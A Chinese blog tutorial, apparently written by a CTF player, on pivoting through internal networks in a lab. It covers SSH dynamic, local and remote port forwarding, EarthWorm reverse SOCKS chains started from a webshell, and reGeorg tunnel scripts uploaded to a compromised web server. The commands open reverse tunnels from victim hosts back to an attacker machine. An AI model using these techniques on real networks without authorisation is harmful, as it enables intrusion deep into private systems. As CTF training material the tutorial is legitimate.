Web狗要懂的内网端口转发---ssh

这次XNUCA的决赛不会内网渗透吃了很大亏,团队赛第一天回来后恶补了一下端口转发,第二天总算是能解决链路问题,虽然最后还是被各位师傅吊打了

区分正向代理和反向代理

(自己的理解,可能有误)

A——B——C
A对C的请求,B作为代理,代替A去访问C,并将结果返回给A,则B是正向代理

B主动与A的8888端口建立连接,并将A:8888的访问转为对C:80的访问,结果返回给A,则B是反向代理

反向代理的好处:当AB之间有防火墙,不允许A连B,但是允许B连A

开始实验

A(root@192.168.168.1) (kali,具有完备的攻击环境)
B(msfadmin@192.168.168.2)

C(msfadmin@192.168.168.3)


前提:知道B的ssh口令(常见于CTF的AWD中的渗透模式)
实验一,利用ssh隧道,B作为正向代理,做动态端口转发

在A上运行

ssh -2 -D 2333 msfadmin@192.168.168.2
  
  

这条命令是将A本地的2333端口,与B的22端口建立socks连接,运行后需要输入B的ssh口令


测试,直接在A访问C的80端口,不过浏览器要侦听127.0.0.1:2333 socks代理

测试,直接在A扫描C的所有端口,不过要调用proxychains,侦听127.0.0.1:2333


实验二,利用ssh隧道,B作为正向代理,进行单一的端口转发
A访问127.0.0.1:1111相当于访问C:80

A上运行

ssh -L 1111:192.168.168.3:80 msfadmin@192.168.168.2
  
  

A访问127.0.0.1:1111相当于访问192.168.168.3:80(C),中间需要msfadmin@192.168.168.2(B)来帮忙转发,需要输入B的ssh账号密码

A访问127.0.0.1:2222 相当于访问C:22

A上运行

ssh -L 2222:192.168.168.3:22 msfadmin@192.168.168.2
  
  

A访问127.0.0.1:2222相当于访问192.168.168.3:22(C),中间需要msfadmin@192.168.168.2(B)来帮忙转发,需要输入B的ssh账号密码


实验三 利用ssh隧道,B做反向代理,做单一的端口转发
A访问127.0.0.1:8888相当于访问C:80

先在A(kali)上生成ssh需要的host key


  
  
  1. ssh-keygen -t rsa -f /etc/ssh/ssh_host_rsa_key
  2. ssh-keygen -t dsa -f /etc/ssh/ssh_host_dsa_key

在B上运行

ssh -R 8888:192.168.168.3:80 root@192.168.168.1
  
  

B主动向A发起ssh连接,需要输入A的ssh账号口令

将来自(A)192.168.168.1:8888的请求,转化为对(C)192.168.168.3:80的请求,然后将结果通过ssh隧道,返回给A


A访问127.0.0.1:2222相当于访问C:22

在B上运行

ssh -R 2222:192.168.168.3:22 root@192.168.168.1
  
  


实验四,再多一级D(192.168.168.4),在A上打D

在B上运行两条命令


  
  
  1. ssh -R 8888 :127.0.0.1 :4444 root@ 192. 168. 168. 1
  2. B作反向代理,将A: 8888与B: 4444打通ssh隧道
  3. ssh - 2 -D 4444 msfadmin@ 192.168. 168.3
  4. B将本地 4444端口与C打通ssh隧道,C作正向代理

现在A就能以127.0.0.1:8888为socks代理,去访问D了,甚至扫描D






如果你只获得一个webshell,并没有ssh口令
强烈推荐 EarthWorm

可以用ew来建立正向代理、反向代理、多级级联,非常强大
旧版,已够用 http://rootkiter.com/EarthWorm/
新版,更新中,侧重shell管理 http://rootkiter.com/Termite/

利用ew,将B作为正向代理

用菜刀上传ew.zip到B上,并移动到tmp目录下

用菜刀的虚拟终端在B上执行


  
  
  1. unzip ew. zip
  2. file /sbin/ init (查看linux位数)
  3. chmod 777 ew_for_Linux32
  4. ./ew_for_Linux32 -s ssocksd -l 2333 (侦听 0.0. 0.0: 2333)
  5. netstat -pantu|grep 2333 (查看是否侦听成功)


在A上以B为代理,访问C



利用ew,将B作为反向代理

在A上执行


  
  
  1. chmod 777 ./ew_for_linux64
  2. ./ew_for_linux64 - s rcsocks -l 1080 -e 2333
  3. A侦听 0. 0. 0. 0: 2333端口,并转发为 0. 0. 0. 0: 1080端口


在B上执行


  
  
  1. chmod 777 ew_for_Linux32
  2. ./ew_for_Linux32 - s rssocks -d 192.168. 168.1 -e 2333
  3. B反向连接A: 2333端口

此时以A的1080端口为代理,就能直接打C了,实际渗透中,192.168.168.1常是一台公网服务器,然后kali再去连接公网的1080端口,但我这里仍然是在kali下演示


使用完ew,记得杀掉进程,可以ps+kill查杀,也可以粗暴点,直接kill 0

利用ew进行多级代理搭建

B上运行

./ew_for_Linux32 -s rcsocks -l 1080 -e 2333
  
  

侦听0.0.0.0:2333,流量转发到0.0.0.0:1080

C上运行

./ew_for_Linux32 -s rssocks -d 192.168.168.2 -e 2333
  
  

C反向连接B:2333端口

这样A上以B 192.168.168.2:1080为socks代理,可以直接对D进行渗透


可以再加一级

达到以192.168.168.1:1080为socks代理,能对D进行渗透

沟通B和C


  
  
  1. B上运行
  2. ./ew_for_Linux32 -s rcsocks -l 1080 -e 2333
  3. C上运行
  4. ./ew_for_Linux32 -s rssocks -d 192.168.168.2 -e 2333
  5. B侦听0.0.0.0:2333端口,并转为0.0.0.0:1080端口
  6. C反向连接B的2333端口

沟通A和B


  
  
  1. A上运行
  2. ./ew_for_linux64 -s rcsocks -l 1080 -e 2333
  3. B上运行
  4. ./ew_for_Linux32 -s lcx_slave -d 192.168.168.1 -e 2333 -f 127.0.0.1 -g 1080
  5. A侦听0.0.0.0:2333端口,并转为0.0.0.0:1080端口
  6. B反向连接A的2333端口,并把流量转发到本地的1080端口




reGeorg

https://github.com/sensepost/reGeorg
https://sensepost.com/discover/tools/reGeorg/
reGeorg利用webshell建立一个socks代理进行内网穿透,服务器必须支持aspx、php、jsp、js等web语言

菜刀连接192.168.168.2的webshell,上传tunnel.php和tunnel.nosocket.php到web根目录

在A(kali)上运行


  
  
  1. python reGeorgSocksProxy.py -p 2333 http: //192.168.168.2/tunnel.php
  2. 建立不了连接
  3. python reGeorgSocksProxy.py -p 2333 http: //192.168.168.2/tunnel.nosocket.php
  4. 成功建立连接

此时会利用192.168.168.2的web服务,与本机的kali的2333端口建立socks连接,现在就能在A上打C了


推荐一波文章

内网渗透随想 redrain写的
http://www.anquan.us/static/drops/tips-5234.html
内网渗透中转发工具总结
http://www.anquan.us/static/drops/tools-15000.html
【T00ls精华文】代理转发工具汇总分析
https://mp.weixin.qq.com/s/heSvLuJtdPyJfsKJVlZEhw
内网漫游之SOCKS代理大结局
https://www.anquanke.com/post/id/85494
ssh端口转发详解
https://www.cnblogs.com/-chaos/archive/2013/10/19/3378564.html
http://blog.csdn.net/a351945755/article/details/21785647
http://blog.csdn.net/qq_27446553/article/details/51981764

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值